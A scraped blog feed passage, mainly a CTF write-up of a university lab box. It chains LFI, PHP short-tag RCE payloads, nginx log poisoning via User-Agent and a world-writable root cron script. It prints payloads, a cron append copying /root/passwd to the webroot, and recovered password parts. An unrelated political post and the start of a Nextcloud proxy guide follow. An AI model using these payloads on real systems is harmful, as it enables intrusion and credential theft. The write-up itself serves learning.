<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`id`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?page=/var/www/userchange
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p>
<p>Short tags (<code>&lt;?= ... ?&gt;</code>) for the win. A longer <code>&lt;?php system(...); ?&gt;</code> payload also works, but the backtick version is minimal and cute.</p>
<p>From here on, my mental model was:</p>
<ol>
<li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li>
<li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li>
</ol>
<p>That&rsquo;s RCE. Not root yet, but we&rsquo;ll get there. Klaus always leaves one more door open.</p>
<hr>
<h2 id="5-rabbit-holes-aka-everything-i-tried-before-it-worked">5) Rabbit holes (aka &ldquo;everything I tried before it worked&rdquo;)</h2>
<p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p>
<h3 id="nginx-log-poisoning">nginx log poisoning</h3>
<p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href="#11-bonus-the-intended-log-poisoning-path">§11 Bonus</a> for the real technique and what I screwed up.</p>
<p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p>
<h3 id="data-phpinput-expect"><code>data://</code>, <code>php://input</code>, <code>expect://</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>data://text/plain,&lt;?php system<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span>cmd<span style="color:#f92672">])</span>; ?&gt;
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>php://input   <span style="color:#75715e"># with POST body</span>
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>expect://id
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn&rsquo;t <em>that</em> careless.</p>
<h3 id="vim-swp-files">vim <code>.swp</code> files</h3>
<p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p>
<p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p>
<h3 id="munin--apt_all-plugin">Munin / <code>apt_all</code> plugin</h3>
<p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p>
<ul>
<li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn&rsquo;t exist</strong></li>
<li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li>
<li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li>
</ul>
<p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p>
<h3 id="pwreset-log-archaeology">pwreset log archaeology</h3>
<p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p>
<ul>
<li>Saw historical resets like <code>user3</code> → <code>foobar23</code></li>
<li>Tried <code>foobar23</code> over SSH for every user</li>
</ul>
<p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn&rsquo;t offered externally. TU Wien network / internal access might differ — I didn&rsquo;t have that.</p>
<h3 id="shell-script-injection-into-userchange">Shell script injection into <code>userchange</code></h3>
<p>I tried newline injection to turn <code>userchange</code> into a bash script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user=
</span></span><span style="display:flex;"><span>#!/bin/sh
</span></span><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/.../p1
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p>
<h3 id="brute-forcing-the-userchange-consumer">Brute-forcing the <code>userchange</code> consumer</h3>
<p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p>
<p>Eventually <strong>didn&rsquo;t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren&rsquo;t on the winning path.)</p>
<h3 id="direct-ssh-password-guessing">Direct SSH password guessing</h3>
<p>Tried setting root&rsquo;s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p>
<p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn&rsquo;t log in with passwords from outside.</p>
<hr>
<h2 id="6-privesc--world-writable-cron-script-peak-klaus">6) Privesc — world-writable cron script (peak Klaus)</h2>
<p>With RCE as <code>www-data</code>, I looked for writable files:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -writable -type f 2&gt;/dev/null | head
</span></span></code></pre></div><p>Jackpot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
</span></span></code></pre></div><p>Original script (innocent):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>grep 127.0.0.1 /etc/hosts &gt; /home/user1/hostname_config
</span></span></code></pre></div><p>It&rsquo;s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef&rsquo;s kiss.</p>
<p>I appended:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
</span></span><span style="display:flex;"><span>cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
</span></span><span style="display:flex;"><span>cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
</span></span><span style="display:flex;"><span>cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
</span></span><span style="display:flex;"><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
</span></span><span style="display:flex;"><span>cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`/usr/local/bin/cron_update_hostname_file.sh`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p>
<hr>
<h2 id="7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood">7) SSH as <code>www-data</code> — because keys in the webroot are a mood</h2>
<p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># via RCE: cat the key, save locally, chmod 600</span>
</span></span><span style="display:flex;"><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style="color:#f92672">=</span>no <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  www-data@g00.tuw.measurement.network
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p>
<hr>
<h2 id="8-the-password-parts">8) The password parts</h2>
<table>
  <thead>
      <tr>
          <th>Source</th>
          <th>File</th>
          <th>Part</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>user1</td>
          <td><code>p1</code></td>
          <td><code>DcC6Da0A27384fA</code></td>
      </tr>
      <tr>
          <td>user2</td>
          <td><code>p2</code></td>
          <td><code>9Ce05B3cAd57824</code></td>
      </tr>
      <tr>
          <td>user3</td>
          <td><code>p3</code></td>
          <td><code>3aD80fa1b7AE986</code></td>
      </tr>
      <tr>
          <td>user4</td>
          <td><code>p4</code></td>
          <td><code>CDefabffab1FCCf</code></td>
      </tr>
      <tr>
          <td>www-data</td>
          <td><code>passwd_part</code></td>
          <td><code>44D885d6DAb8Bb9</code></td>
      </tr>
      <tr>
          <td>root</td>
          <td><code>rootpass</code></td>
          <td><code>ghadnuthduxeec7</code></td>
      </tr>
  </tbody>
</table>
<p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root&rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p>
<p><strong>Combined root password (95 characters):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p>
<p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p>
<p>Root SSH with that password from <strong>outside</strong> still didn&rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p>
<hr>
<h2 id="9-attack-chain-one-screen">9) Attack chain (one screen)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>documentation.md
</span></span><span style="display:flex;"><span>    → web vhost LFI (include $_GET[&#39;page&#39;])
</span></span><span style="display:flex;"><span>        → include pwreset index.php (localhost bypass)
</span></span><span style="display:flex;"><span>            → write PHP to /var/www/userchange
</span></span><span style="display:flex;"><span>                → LFI include userchange
</span></span><span style="display:flex;"><span>                    → RCE as www-data
</span></span><span style="display:flex;"><span>                        → append to world-writable cron_update_hostname_file.sh
</span></span><span style="display:flex;"><span>                            → cron runs as root → copies passwd parts to webroot
</span></span><span style="display:flex;"><span>                                → read parts / SSH as www-data
</span></span><span style="display:flex;"><span>                                    → profit
</span></span></code></pre></div><p>Very &ldquo;real world&rdquo; in the worst way. Multiple small mistakes compounding into a full chain.</p>
<hr>
<h2 id="10-replay-script">10) Replay script</h2>
<p>I left a minimal Python replay in the challenge repo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 solve.py
</span></span></code></pre></div><p>Core logic:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">pwreset</span>(user, passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># LFI-include pwreset index.php with user/pass params</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rce</span>(cmd):
</span></span><span style="display:flex;"><span>    pwreset(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;&lt;?=`</span><span style="color:#e6db74">{</span>cmd<span style="color:#e6db74">}</span><span style="color:#e6db74">`?&gt;&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> lfi_include(<span style="color:#e6db74">&#34;/var/www/userchange&#34;</span>)
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p>
<hr>
<h2 id="11-bonus-the-intended-log-poisoning-path">11) Bonus: the intended log poisoning path</h2>
<p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p>
<p>So here&rsquo;s the path you&rsquo;re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p>
<h3 id="the-hint-is-in-indexphp-not-documentationmd">The hint is in <code>index.php</code>, not <code>documentation.md</code></h3>
<p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- remember for debugging:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/ssl-$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">    /var/log/nginx/ssl-$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn&rsquo;t say &ldquo;don&rsquo;t use SSL&rdquo; — but the intended trick is to use the <strong>non-ssl</strong> access log.</p>
<h3 id="intended-technique">Intended technique</h3>
<ol>
<li>
<p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span></code></pre></div></li>
<li>
<p>Put PHP in the <code>User-Agent</code> (or another logged field):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;
</span></span></code></pre></div><p>Short tags like <code>&lt;?=`id`?&gt;</code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p>
</li>
<li>
<p><strong>Include that log</strong> through the same LFI bug:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span>  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span><span style="display:flex;"><span>  &amp;cmd=id
</span></span></code></pre></div></li>
</ol>
<p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That&rsquo;s RCE. No pwreset required.</p>
<h3 id="how-i-griefed-myself">How I griefed myself</h3>
<table>
  <thead>
      <tr>
          <th>What I did</th>
          <th>Why it hurt</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Defaulted to <code>https://</code> everywhere</td>
          <td>Poison landed in <code>ssl-web...access.log</code> — <strong>670 KB+</strong> and growing</td>
      </tr>
      <tr>
          <td>Included the ssl log via LFI</td>
          <td>Output truncates around ~2 KB; poison sits at the tail</td>
      </tr>
      <tr>
          <td>Fired dozens of test payloads</td>
          <td>Left broken <code>&lt;?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td>
      </tr>
      <tr>
          <td>Didn&rsquo;t read <code>index.php</code> source early</td>
          <td>Missed the debug comment until I&rsquo;d already polluted both logs</td>
      </tr>
  </tbody>
</table>
<p>Tobias&rsquo;s take: that&rsquo;s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p>
<h3 id="if-youre-solving-it-now">If you&rsquo;re solving it now</h3>
<ul>
<li>Read <code>index.php</code> source first.</li>
<li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li>
<li>Include the <strong>non-ssl</strong> access log path from the comment.</li>
<li>Don&rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li>
</ul>
<p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p>
<hr>
<h2 id="12-tldr">12) TL;DR</h2>
<ul>
<li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li>
<li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li>
<li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li>
<li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li>
<li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li>
<li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li>
<li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li>
</ul>
<p>If you&rsquo;re doing this as part of the TU Wien lab: don&rsquo;t touch other groups&rsquo; hosts, don&rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.</p>
<p>Happy hacking. 🔓</p>
<hr>
<p><em>Thanks to Tobias Fiebig for the delightfully cursed &ldquo;real world&rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/g00_tuw_measurement_ctf.md">Markdown</a> ·
    <a href="/sources/posts/g00_tuw_measurement_ctf.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
jSr&#43;7xAAjpbfTK8k&#43;GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy&#43;fTISF9Q&#43;hRfMX
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v&#43;drZ2YVGk9mKW4FBfzbb1
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
35YFa3A1GMUiKAHcemIqJnDZuIInQa&#43;OuPIDPGQva93I20eIn40nIVDLDsY15X&#43;R
FyxKVBAwO94We2g&#43;lxhey&#43;xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
oLsZXNoKbyZ2eXYF0f54it9JdDo&#43;obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV&#43;
zNn5DrhIk5f4FMjJGUnO1QH&#43;e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b&#43;
//J/Fdzi1YbKFyQlk9zfUUL&#43;1vMoSbkORd7S3JYkibTns&#43;uD9LxW27WIEcvYRw0K
MlzdYdPXNCJZUDswt7HZCgQv66zF9&#43;pLkQ/8rl&#43;RVOMW9GqJmE6O0uh4xmPDE8vS
YK3/9gFIcXVMy7WsIwEx&#43;xWQqcm815OZSIrw4kvt1&#43;seZ8lUURmoAWRDEFrFUTCG
zB6tKRPKoID643AdO&#43;Cb&#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
=BDGe
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
  </pre>
</div>


]]></content:encoded></item><item><title>H3ll0 Fr1end</title><link>https://blog.alipour.eu/posts/h3ll0_fr1end/</link><pubDate>Sat, 02 May 2026 16:17:02 +0000</pubDate><guid>https://blog.alipour.eu/posts/h3ll0_fr1end/</guid><description>&lt;p>Hello friends. I&amp;rsquo;m back. It&amp;rsquo;s been&amp;hellip; let&amp;rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I&amp;rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it&amp;rsquo;s shadow over the country for decades. It&amp;rsquo;s funny how his father (I&amp;rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people&amp;rsquo;s lives, and then selling people&amp;rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it&amp;rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not &amp;ldquo;own&amp;rdquo; makes him the best candidate for exploitation. And he has shown this very well.&lt;/p></description><content:encoded><![CDATA[<p>Hello friends. I&rsquo;m back. It&rsquo;s been&hellip; let&rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I&rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it&rsquo;s shadow over the country for decades. It&rsquo;s funny how his father (I&rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people&rsquo;s lives, and then selling people&rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it&rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not &ldquo;own&rdquo; makes him the best candidate for exploitation. And he has shown this very well.</p>
<p>The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.</p>
<p>It&rsquo;s so so sad that I&rsquo;m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It&rsquo;s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, &hellip;, Persian Constitutional Revolution, etc.. So fucking sad.</p>
<p>The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don&rsquo;t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime&rsquo;s influence over it&rsquo;s people.</p>
<p>Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it&rsquo;s own people. Years of stagflation, and no bright light in sight.</p>
<p>Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)</p>
<p>Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D</p>
<p>I honestly also don&rsquo;t feel like proofreading the text, so&hellip; there would be many mistakes. :) And honestly, idc.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/h3ll0_fr1end.md">Markdown</a> ·
    <a href="/sources/posts/h3ll0_fr1end.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
Ncqa1n&#43;O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS&#43;K5uanIieb1qQ5Rw
z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq&#43;8&#43;ozH&#43;
0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY&#43;1Ade&#43;vRbuQOxTq70prw9efUnM
XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp&#43;QWcUBiRZCS
/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
wY3LJjmn8UM&#43;MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
QGESlBJ5rM/PmozfLI5D&#43;I&#43;YuX9HM8VO1/HcP28U11lfGCm48YA=
=7md6
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md
curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md.asc
gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
  </pre>
</div>


]]></content:encoded></item><item><title>Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin</title><link>https://blog.alipour.eu/posts/pi_service_touchup/</link><pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/pi_service_touchup/</guid><description>Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable.</description><content:encoded><![CDATA[<blockquote>
<p>I didn’t “move Nextcloud to the cloud”.<br>
I moved the <strong>front door</strong> to a VPS… and kept the house on my Raspberry Pi. 😄</p></blockquote>
<p>This post documents the setup I ended up with:</p>
<ul>
<li>A public <strong>VPS</strong> (host: <code>funbox</code>) running <strong>Nginx</strong> + <strong>Let’s Encrypt</strong></li>
<li>A private <strong>Raspberry Pi</strong> (host: <code>iot-hub</code>) running Docker services (<strong>Nextcloud</strong>, <strong>Jellyfin</strong>, …)</li>
<li>A private backhaul using <strong>Tailscale</strong> (the <code>100.x.y.z</code> network)</li>
<li>A correct Nextcloud reverse-proxy configuration (<strong>trusted_domains</strong>, <strong>trusted_proxies</strong>, and overwrite values)</li>
<li>A pragmatic security layer for media: <strong>Basic Auth at Nginx for Jellyfin</strong><br>
(in addition to Jellyfin’s own login)</li>
</ul>
<p>I’m writing this as a “future me” note and a “copy-paste friendly” guide.</p>
<hr>
<h2 id="0-topology">0) Topology</h2>
